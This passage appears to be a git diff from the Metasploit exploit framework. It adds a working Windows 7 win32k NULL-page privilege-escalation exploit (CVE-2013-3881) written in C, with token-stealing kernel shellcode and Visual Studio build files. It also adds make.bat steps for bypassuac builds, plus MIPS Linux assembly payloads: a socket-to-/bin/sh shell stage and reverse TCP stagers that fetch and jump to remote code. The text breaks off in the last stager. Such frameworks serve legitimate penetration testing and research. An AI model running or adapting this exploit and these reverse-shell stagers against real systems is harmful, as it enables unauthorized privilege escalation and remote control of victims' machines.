diff --git a/external/source/exploits/cve-2013-3881/.gitignore b/external/source/exploits/cve-2013-3881/.gitignore
new file mode 100644
index 0000000000..7649d7f46b
--- /dev/null
+++ b/external/source/exploits/cve-2013-3881/.gitignore
@@ -0,0 +1,151 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.sln.docstates
+
+# Build results
+
+[Dd]ebug/
+[Rr]elease/
+x64/
+build/
+[Bb]in/
+[Oo]bj/
+
+# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
+!packages/*/build/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+*_i.c
+*_p.c
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.log
+*.scc
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opensdf
+*.sdf
+*.cachefile
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+*.ncrunch*
+.*crunch*.local.xml
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.Publish.xml
+*.pubxml
+
+# NuGet Packages Directory
+## TODO: If you have NuGet Package Restore enabled, uncomment the next line
+#packages/
+
+# Windows Azure Build Output
+csx
+*.build.csdef
+
+# Windows Store app package directory
+AppPackages/
+
+# Others
+sql/
+*.Cache
+ClientBin/
+[Ss]tyle[Cc]op.*
+~$*
+*~
+*.dbmdl
+*.[Pp]ublish.xml
+*.pfx
+*.publishsettings
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file to a newer
+# Visual Studio version. Backup files are not needed, because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+App_Data/*.mdf
+App_Data/*.ldf
+
+# =========================
+# Windows detritus
+# =========================
+
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Mac crap
+.DS_Store
diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881.sln b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln
new file mode 100755
index 0000000000..8887a82024
--- /dev/null
+++ b/external/source/exploits/cve-2013-3881/cve-2013-3881.sln
@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 11.00
+# Visual Studio 2010
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-3881", "cve-2013-3881\cve-2013-3881.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Win32 = Debug|Win32
+		Release|Win32 = Release|Win32
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
+		{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c
new file mode 100755
index 0000000000..9389277e09
--- /dev/null
+++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.c
@@ -0,0 +1,261 @@
+/*
+ * Exploit Title: CVE-2013-3881 Win32k NULL Page Vulnerability
+ * Date: February 5, 2014
+ * Vulnerability Discovery: Seth Gibson and Dan Zentner of Endgame
+ * Exploit Author: Spencer McIntyre
+ * Version: Windows 7 SP0/SP1
+ * Tested on: Windows 7 SP0/SP1
+ * CVE-2013-3881 MS13-081
+ * References:
+ *   http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html
+ *   http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html
+ *   http://picturoku.blogspot.com/2011/12/bit-away-from-kernel-execution.html
+ */
+
+#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
+
+// Purloined from ntstatus.h
+#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L) // ntsubauth
+
+#define WIN32_NO_STATUS
+#include <windows.h>
+#undef WIN32_NO_STATUS
+
+#ifndef _NTDEF_
+typedef __success(return >= 0) LONG NTSTATUS;
+typedef NTSTATUS *PNTSTATUS;
+#endif
+
+#define TABLE_BASE 0xff910000
+
+static const char* window_class_name = "PWN_CLASS";
+static HWND window0 = NULL;
+static HWND window1 = NULL;
+static HDESK desktop = NULL;
+
+const unsigned char shellcode[] =
+	"\x33\xc0"                      // xor eax, eax
+	"\x64\x8b\x80\x24\x01\x00\x00"  // mov eax, fs:[eax+0x124]
+	"\x8b\x40\x50"                  // mov eax, ds:[eax+0x50]
+	"\x8b\xc8"                      // mov ecx, eax
+	/* LOOPTHROUGHPROCESSES */
+	"\x8b\x80\xb8\x00\x00\x00"      // mov eax, ds:[eax+0xb8]
+	"\x2d\xb8\x00\x00\x00"          // sub eax, 0xb8
+	"\x83\xb8\xb4\x00\x00\x00\x04"  // cmp DWORD PTR ds:[eax+0xb4], 4
+	"\x75\xec"                      // jnz short LOOPTHROUGHPROCESSES
+	"\x8b\x90\xf8\x00\x00\x00"      // mov edx, ds:[eax+0x0f8]
+	"\x89\x91\xf8\x00\x00\x00"      // mov [ecx+0x0f8], edx
+	/* Epilog Part 1: Uncorrupt HANDLEENTRY */
+	"\xbe\x00\x08\x00\x00"          // mov esi, 0x0800
+	"\x8b\x3e"                      // mov edi, [esi]
+	"\x8b\x46\x04"                  // mov eax, [esi+4]
+	"\x89\x07"                      // mov [edi], eax
+	"\x8b\x46\x08"                  // mov eax, [esi+8]
+	"\x89\x47\x04"                  // mov [edi + 4], eax
+	"\x8b\x46\x0c"                  // mov eax, [esi+c]
+	"\x89\x47\x08"                  // mov [edi+8], eax
+	/* Epilog Part 2: Return to xxxTrackPopupMenuEx */
+	"\x83\x7c\x24\x58\x00"          // cmp DWORD PTR [esp+0x58], 0
+	"\x74\x11"                      // je short sp1
+	"\x83\x7c\x24\x5c\x01"          // cmp DWORD PTR [esp+0x5c], 1
+	"\x75\x0a"                      // je short sp1
+	/* Service Pack 0 */
+	"\x83\xc4\x48"                  // add esp, 0x48
+	"\x5f"                          // pop edi
+	"\x5e"                          // pop esi
+	"\x5b"                          // pop ebx
+	"\x5d"                          // pop ebp
+	"\xc2\x04\x00"                  // ret 4
+	/* Service Pack 1 */
+	"\x83\xc4\x4c"                  // add esp 0x4c
+	"\x5f"                          // pop edi
+	"\x5e"                          // pop esi
+	"\x83\xc4\x0c"                  // add esp, 0x0c
+	"\x5d"                          // pop ebp
+	"\xc2\x08\x00";                 // ret 8
+
+typedef struct _HANDLEENTRY {
+	struct _HEAD *pHead;
+	void         *pOwner;
+	UINT8        bType;
+	UINT8        bFlags;
+	UINT16       wUniq;
+} HANDLEENTRY, *PHANDLEENTRY;
+
+typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)(
+	IN  HANDLE  ProcessHandle,
+	IN  PVOID   *BaseAddress,
+	IN  PULONG  ZeroBits,
+	IN  PSIZE_T RegionSize,
+	IN  ULONG   AllocationType,
+	IN  ULONG   Protect
+);
+
+typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)(
+	IN  DWORD  ProfileSource,
+	OUT PULONG Interval
+);
+
+LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
+	return DefWindowProc(hwnd, msg, wParam, lParam);
+}
+
+NTSTATUS AllocateNullPage(void) {
+	HMODULE hNtdll = NULL;
+	FARPROC pNtAllocateVirtualMemory = NULL;
+	DWORD base_address = 1;
+	SIZE_T region_size = 0x1000;
+	ULONG zero_bits = 0;
+	HANDLE current_process = NULL;
+	NTSTATUS status = 0;
+
+	hNtdll = LoadLibraryA("ntdll");
+	pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
+	current_process = GetCurrentProcess();
+	status = pNtAllocateVirtualMemory(current_process, &base_address, 0, &region_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE);
+	FreeLibrary(hNtdll);
+	return status;
+}
+
+PHANDLEENTRY GetAheList(void) {
+	HMODULE hUser32 = NULL;
+	HANDLEENTRY **tagSharedInfo = NULL;
+
+	hUser32 = LoadLibraryA("user32");
+	tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo");
+	if (tagSharedInfo == NULL) {
+		return NULL;
+	}
+	return (PHANDLEENTRY)*&tagSharedInfo[1];
+}
+
+DWORD WINAPI TriggerThread0(void *garbage) {
+	HMENU menu0;
+
+	SetThreadDesktop(desktop);
+	window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
+	menu0 = CreatePopupMenu();
+	if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
+		return 0;
+	}
+	TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL);
+	return 0;
+}
+
+BOOL WINAPI CreateAndRegisterClass(char * class_name) {
+	WNDCLASSEX wx;
+	HINSTANCE hInstance = NULL;
+
+	hInstance = (HINSTANCE)GetModuleHandle(NULL);
+	if (hInstance == NULL) {
+		return FALSE;
+	}
+
+	wx.cbSize = sizeof(WNDCLASSEX);
+	wx.style = 0;
+	wx.lpfnWndProc = WndProc;
+	wx.cbClsExtra = 0;
+	wx.cbWndExtra = 0;
+	wx.hInstance = hInstance;
+	wx.hIcon = LoadIcon(NULL, IDI_APPLICATION);
+	wx.hCursor = LoadCursor(NULL, IDC_ARROW);
+	wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
+	wx.lpszMenuName = NULL;
+	wx.lpszClassName = class_name;
+	wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
+
+	if (RegisterClassEx(&wx) != 0) {
+		return TRUE;
+	}
+	return FALSE;
+}
+
+DWORD WINAPI ExecutePayload(LPVOID lpPayload) {
+	VOID(*lpCode)() = (VOID(*)())lpPayload;
+	lpCode();
+	return ERROR_SUCCESS;
+}
+
+void Win32kNullPage(LPVOID lpPayload) {
+	HMENU menu1 = NULL;
+	HMENU menu2 = NULL;
+	HANDLE gdi_handle = NULL;
+	void *promise_land = NULL;
+	ULONG interval = 0;
+	PHANDLEENTRY aheList = NULL;
+	PHANDLEENTRY target_handle = NULL;
+	DWORD saved_bytes = 0;
+
+	desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);
+	SetThreadDesktop(desktop);
+
+	if (!CreateAndRegisterClass(window_class_name)) {
+		return;
+	}
+
+	if (AllocateNullPage() != STATUS_SUCCESS) {
+		return;
+	}
+	*((PDWORD)promise_land + 0)  = 0x000004eb; /* jmp 4 */
+	*((PDWORD)promise_land + 1)  = 0x90909090; /* noooop */
+	*((PDWORD)promise_land + 2)  = 0x000400b8; /* mov eax, 400 */
+	*((PDWORD)promise_land + 3)  = 0x90d0ff00; /* call eax */
+	*((PDWORD)promise_land + 7)  = 0x00;
+	*((PDWORD)promise_land + 9)  = 0x00;
+	*((PDWORD)promise_land + 12) = 0x00;
+	*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4);
+	*(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4);
+	memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode));
+
+	window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
+	menu1 = CreatePopupMenu();
+	menu2 = CreateMenu();
+	SetMenu(window1, menu2);
+	DestroyMenu(menu2);
+
+	aheList = GetAheList();
+	*((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff);
+	*((PDWORD)promise_land + 128) = 0x01;
+	*((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104;
+
+	target_handle = &aheList[((DWORD)menu2 & 0xffff)];
+	*((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE);
+	memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY));
+
+	if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) {
+		return;
+	}
+
+	do {
+		gdi_handle = CreateMetaFile(NULL);
+	} while (gdi_handle != NULL);
+
+	CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0);
+	Sleep(500);
+	TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL);
+	CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
+	return;
+}
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
+	BOOL bReturnValue = TRUE;
+	switch (dwReason) {
+		case DLL_QUERY_HMODULE:
+			hAppInstance = hinstDLL;
+			if (lpReserved != NULL) {
+				*(HMODULE *)lpReserved = hAppInstance;
+			}
+			break;
+		case DLL_PROCESS_ATTACH:
+			hAppInstance = hinstDLL;
+			Win32kNullPage(lpReserved);
+			break;
+		case DLL_PROCESS_DETACH:
+		case DLL_THREAD_ATTACH:
+		case DLL_THREAD_DETACH:
+			break;
+	}
+	return bReturnValue;
+};
diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
new file mode 100755
index 0000000000..634f972b10
--- /dev/null
+++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}</ProjectGuid>
+    <RootNamespace>cve20133881</RootNamespace>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <CharacterSet>MultiByte</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <WholeProgramOptimization>false</WholeProgramOptimization>
+    <CharacterSet>MultiByte</CharacterSet>
+    <PlatformToolset>v120</PlatformToolset>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <CompileAs>CompileAsC</CompileAs>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <OptimizeReferences>true</OptimizeReferences>
+      <OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <CompileAs>CompileAsC</CompileAs>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <CompileAs>Default</CompileAs>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <OptimizeReferences>true</OptimizeReferences>
+      <OutputFile>$(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt)</OutputFile>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="cve-2013-3881.c" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
\ No newline at end of file
diff --git a/external/source/exploits/cve-2013-3881/make.msbuild b/external/source/exploits/cve-2013-3881/make.msbuild
new file mode 100644
index 0000000000..688fd5ed4c
--- /dev/null
+++ b/external/source/exploits/cve-2013-3881/make.msbuild
@@ -0,0 +1,17 @@
+<?xml version="1.0" standalone="yes"?>
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <SolutionPath>.\cve-2013-3881.sln</SolutionPath>
+  </PropertyGroup>
+
+  <Target Name="all" DependsOnTargets="x86" />
+
+  <Target Name="x86">
+    <Message Text="Building CVE-2013-3881 win32k_null_page x86 Release version" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
+  </Target>
+
+  <Target Name="x64">
+    <Message Text="CVE-2013-3881 is not supported in x64" />
+  </Target>
+</Project>
diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat
index 6981f1f155..a7893e8d85 100755
--- a/external/source/exploits/make.bat
+++ b/external/source/exploits/make.bat
@@ -40,6 +40,27 @@ IF "%ERRORLEVEL%"=="0" (
   POPD
 )
 
+IF "%ERRORLEVEL%"=="0" (
+  ECHO "Building CVE-2013-3881 (win32k_null_page)"
+  PUSHD CVE-2013-3881
+  msbuild.exe make.msbuild /target:%PLAT%
+  POPD
+)
+
+IF "%ERRORLEVEL%"=="0" (
+  ECHO "Building bypassuac (on-disk)"
+  PUSHD bypassuac
+  msbuild.exe make.msbuild /target:%PLAT%
+  POPD
+)
+
+IF "%ERRORLEVEL%"=="0" (
+  ECHO "Building bypassuac (in-memory)"
+  PUSHD bypassuac_injection
+  msbuild.exe make.msbuild /target:%PLAT%
+  POPD
+)
+
 FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
 SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
 echo Finished %ldt%
diff --git a/external/source/shellcode/linux/mips/stage_tcp_shell.s b/external/source/shellcode/linux/mips/stage_tcp_shell.s
new file mode 100644
index 0000000000..bbe9086fe5
--- /dev/null
+++ b/external/source/shellcode/linux/mips/stage_tcp_shell.s
@@ -0,0 +1,75 @@
+##
+#
+#        Name: stage_tcp_shell
+#        Type: Stage
+#   Qualities: Compatible with both mips little and big endian
+#   Platforms: Linux
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        This payload duplicates stdio, stdin and stderr to a file descriptor,
+#        stored on $s2, and executes /bin/sh.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stage_tcp_shell.o stage_tcp_shell.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stage_tcp_shell stage_tcp_shell.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stages/linux/mipsle/shell.rb
+#        and:
+#          modules/payloads/stages/linux/mipsbe/shell.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# dup2(sockfd, 2)
+	# dup2(sockfd, 1)
+	# dup2(sockfd, 0)
+ 	# a0: oldfd (sockfd)
+ 	# a1: newfd (2, 1, 0)
+ 	# v0: syscall = __NR_dup2 (4063)
+	li      $s1, -3
+	nor     $s1, $s1, $zero
+	add     $a0, $s2, $zero
+dup2_loop:
+	add     $a1, $s1, $zero # dup2_loop
+	li      $v0, 4063       # sys_dup2
+	syscall 0x40404
+	li      $s0, -1
+	addi    $s1, $s1, -1
+	bne     $s1, $s0, dup2_loop # <dup2_loop>
+
+	# execve("/bin/sh", ["/bin/sh"], NULL)
+	# a0: filename "/bin/sh"
+	# a1: argv ["/bin/sh", NULL]
+	# a2: envp NULL
+	# v0: syscall = __NR_dup2 (4011)
+	li      $t8, -1         # load t8 with -1
+getaddr:                    # getaddr trick from scut@team-teso.net
+	bltzal  $t8, getaddr    # branch with $ra stored if t8 < 0
+	slti    $t8, $zero, -1  # delay slot instr: $t8 = 0 (see below)
+	addi    $a0, $ra, 28    # $ra gets this address
+	sw      $a0, -8($sp)
+	sw      $zero, -4($sp)
+	addi    $a1, $sp, -8
+	slti    $a2, $zero,-1
+	li      $v0, 4011       # sys_execve
+	syscall 0x40404
+
+	.string "/bin/sh"
+	.set    macro
+	.set    reorder
diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
new file mode 100644
index 0000000000..9aba45eea7
--- /dev/null
+++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
@@ -0,0 +1,127 @@
+##
+# 
+#        Name: stager_sock_reverse
+#        Type: Stager
+#   Qualities: No Nulls out of the IP / Port data
+#   Platforms: Linux MIPS Big Endian
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        Implementation of a MIPS BE Linux reverse TCP stager.
+#
+#        File descriptor in $s2.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stager_sock_reverse.o stager_sock_reverse.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stager_sock_reverse stager_sock_reverse.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
+	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+	# a0: domain = PF_INET (2)
+	# a1: type = SOCK_STREAM (2)
+	# a2: protocol = IPPROTO_IP (0)
+	# v0: syscall = __NR_socket (4183)
+	li      $t7, -6
+	nor     $t7, $t7, $zero
+	addi    $a0, $t7, -3
+	addi    $a1, $t7, -3
+	slti    $a2, $zero, -1
+	li      $v0, 4183
+	syscall 0x40404
+	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
+	
+	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
+	# a0: sockfd
+	# a1: addr = AF_INET (2)
+	# a2: addrlen = 16
+	# v0: syscall = __NR_connect (4170)
+	lw      $a0, -4($sp)
+	li      $t7, -3
+	nor     $t7, $t7, $zero
+	sw      $t7, -32($sp)
+	lui     $t6, 0x115c
+	sw      $t6, -28($sp)
+	lui     $t6, 0x7f00          # ip
+	ori     $t6, $t6, 0x0001     # ip
+	sw      $t6, -26($sp)
+	addiu   $a1, $sp, -30
+	li      $t4, -17
+	nor     $a2, $t4, $zero
+	li      $v0, 4170
+	syscall 0x40404
+	
+	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+	# a0: addr = -1
+	# a1: lenght = 4096
+	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+	# sp(16): fd = -1
+	# sp(20): offset = 0
+	# v0: syscall = __NR_mmap (4090)
+	li      $a0, -1
+	li      $a1, 4097
+	addi    $a1, $a1, -1
+	li      $t1, -8
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $a3, 2050
+	li      $t3, -22
+	nor     $t3, $t3, $zero
+	add     $t3, $sp, $t3
+	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+	li      $v0, 4090
+	syscall 0x40404
+	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+
+	# read(sockfd, addr, 4096)
+	# a0: sockfd
+	# a1: addr
+	# a2: len = 4096
+	# v0: syscall = __NR_read (4003)
+	lw      $a0, -4($sp)
+	lw      $a1, -8($sp)
+	li      $a2, 4097
+	addi    $a2, $a2, -1
+	li      $v0, 4003
+	syscall 0x40404
+
+	# cacheflush(addr, nbytes, DCACHE)
+	# a0: addr
+	# a1: nbytes
+	# a2: cache = DCACHE (2)
+	# v0: syscall = __NR_read (4147)
+	lw      $a0, -8($sp)
+	add     $a1, $v0, $zero
+	li      $t1, -3
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $v0, 4147
+	syscall 0x40404
+	
+	# jmp to the stage
+	lw      $s1, -8($sp)
+	lw      $s2, -4($sp)
+	jalr    $s1
+
+	.set    macro
+	.set    reorder
diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s
new file mode 100644
index 0000000000..42083452af
--- /dev/null
+++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s
@@ -0,0 +1,127 @@
+##
+# 
+#        Name: stager_sock_reverse
+#        Type: Stager
+#   Qualities: No Nulls out of the IP / Port data
+#   Platforms: Linux MIPS Little Endian
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
+#     License: 
+#
+#        This file is part of the Metasploit Exploit Framework
+#        and is subject to the same licenses and copyrights as
+#        the rest of this package.
+#
+# Description:
+#
+#        Implementation of a MIPS LE Linux reverse TCP stager.
+#
+#        File descriptor in $s2.
+#
+#        Assemble and create a relocatable object with:
+#          as -o stager_sock_reverse.o stager_sock_reverse.s
+#
+#        Assemble, link and create an executable ELF with:
+#          gcc -o stager_sock_reverse stager_sock_reverse.s
+#
+#        The tool "tools/metasm_shell.rb" can be used to easily
+#        generate the string to place on:
+#          modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
+##
+	.text
+	.align  2
+	.globl  main
+	.set    nomips16
+main:
+	.set    noreorder
+	.set    nomacro
+
